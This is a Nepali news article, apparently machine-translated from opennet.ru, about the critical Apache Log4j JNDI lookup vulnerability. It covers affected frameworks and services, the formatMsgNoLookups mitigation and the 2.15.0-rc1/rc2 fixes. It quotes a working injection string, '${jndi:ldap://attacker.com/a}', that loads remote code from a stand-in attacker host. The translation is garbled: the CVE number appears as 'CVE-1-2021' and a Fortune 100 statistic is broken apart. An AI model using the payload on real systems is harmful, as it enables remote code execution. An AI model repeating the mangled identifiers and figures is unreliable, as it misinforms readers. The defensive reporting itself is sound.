🥇 Apache Log4j मा धेरै जाभा परियोजनाहरूलाई असर गर्ने विनाशकारी जोखिम

Apache Log4j मा, Java अनुप्रयोगहरूमा लगिङ व्यवस्थित गर्नको लागि एक लोकप्रिय ढाँचा, एउटा महत्वपूर्ण जोखिम पहिचान गरिएको छ जसले "{jndi:URL}" ढाँचामा विशेष रूपमा ढाँचा गरिएको मान लगमा लेखिएको बेलामा स्वेच्छाचारी कोड कार्यान्वयन गर्न अनुमति दिन्छ। आक्रमण जाभा अनुप्रयोगहरूमा गर्न सकिन्छ जुन बाह्य स्रोतहरूबाट प्राप्त मानहरू लग गर्दछ, उदाहरणका लागि, त्रुटि सन्देशहरूमा समस्याग्रस्त मानहरू प्रदर्शन गर्दा।

यो नोट गरिएको छ कि Apache Struts, Apache Solr, Apache Druid वा Apache Flink जस्ता फ्रेमवर्कहरू प्रयोग गर्ने लगभग सबै परियोजनाहरू स्टीम, Apple iCloud, Minecraft ग्राहकहरू र सर्भरहरू सहित समस्याबाट प्रभावित छन्। यो आशा गरिएको छ कि कमजोरीले कर्पोरेट अनुप्रयोगहरूमा ठूलो आक्रमणको लहर निम्त्याउन सक्छ, Apache Struts फ्रेमवर्कमा महत्वपूर्ण कमजोरीहरूको इतिहास दोहोर्याउँछ, जुन, कुनै नराम्रो अनुमान अनुसार, Fortune को 65% द्वारा वेब अनुप्रयोगहरूमा प्रयोग गरिन्छ। 100 कम्पनीहरू। कमजोर प्रणालीहरूको लागि नेटवर्क स्क्यान गर्ने प्रयासहरू सहित।

कार्य शोषण पहिले नै प्रकाशित भइसकेको छ, तर स्थिर शाखाहरूको लागि समाधानहरू अझै सम्म कम्पाइल गरिएको छैन भन्ने तथ्यले समस्या बढेको छ। CVE पहिचानकर्ता अझै नियुक्त गरिएको छैन। फिक्स मात्र log4j-2.15.0-rc1 परीक्षण शाखा मा समावेश छ। भेद्यतालाई रोक्नको लागि समाधानको रूपमा, log4j2.formatMsgNoLookups प्यारामिटरलाई सत्यमा सेट गर्न सिफारिस गरिन्छ।

log4j ले लगमा लाइन आउटपुटमा विशेष मास्क "{}" लाई प्रशोधन गर्न समर्थन गर्दछ, जसमा JNDI (जाभा नामकरण र डाइरेक्टरी इन्टरफेस) क्वेरीहरू कार्यान्वयन गर्न सकिन्छ भन्ने तथ्यले गर्दा समस्या उत्पन्न भएको हो। आक्रमण "${jndi:ldap://attacker.com/a}" प्रतिस्थापनको साथ एक स्ट्रिङ पास गर्न तल उबलिन्छ, जुन log4j ले आक्रमणकर्ता.com सर्भरमा Java क्लासको मार्गको लागि LDAP अनुरोध पठाउनेछ। । आक्रमणकर्ताको सर्भरद्वारा फर्काइएको मार्ग (उदाहरणका लागि, http://second-stage.attacker.com/Exploit.class) हालको प्रक्रियाको सन्दर्भमा लोड र कार्यान्वयन हुनेछ, जसले आक्रमणकर्तालाई स्वेच्छाचारी कोड कार्यान्वयन गर्न अनुमति दिन्छ। वर्तमान आवेदन को अधिकार संग प्रणाली।

परिशिष्ट १: भेद्यतालाई पहिचानकर्ता CVE-1-2021 तोकिएको छ।

परिशिष्ट 2: रिलीज log4j-2.15.0-rc1 द्वारा थपिएको सुरक्षालाई बाइपास गर्ने तरिका पहिचान गरिएको छ। एउटा नयाँ अपडेट, log4j-2.15.0-rc2, जोखिम विरुद्ध थप पूर्ण सुरक्षाको साथ प्रस्ताव गरिएको छ। कोडले गलत तरिकाले ढाँचा गरिएको JNDI URL प्रयोग गर्दा असामान्य समाप्तिको अनुपस्थितिसँग सम्बन्धित परिवर्तनलाई हाइलाइट गर्दछ।

स्रोत: opennet.ru

Apache Log4j मा विनाशकारी जोखिम धेरै Java परियोजनाहरूलाई असर गर्छ

एक टिप्पणी थप्न Отменить ответ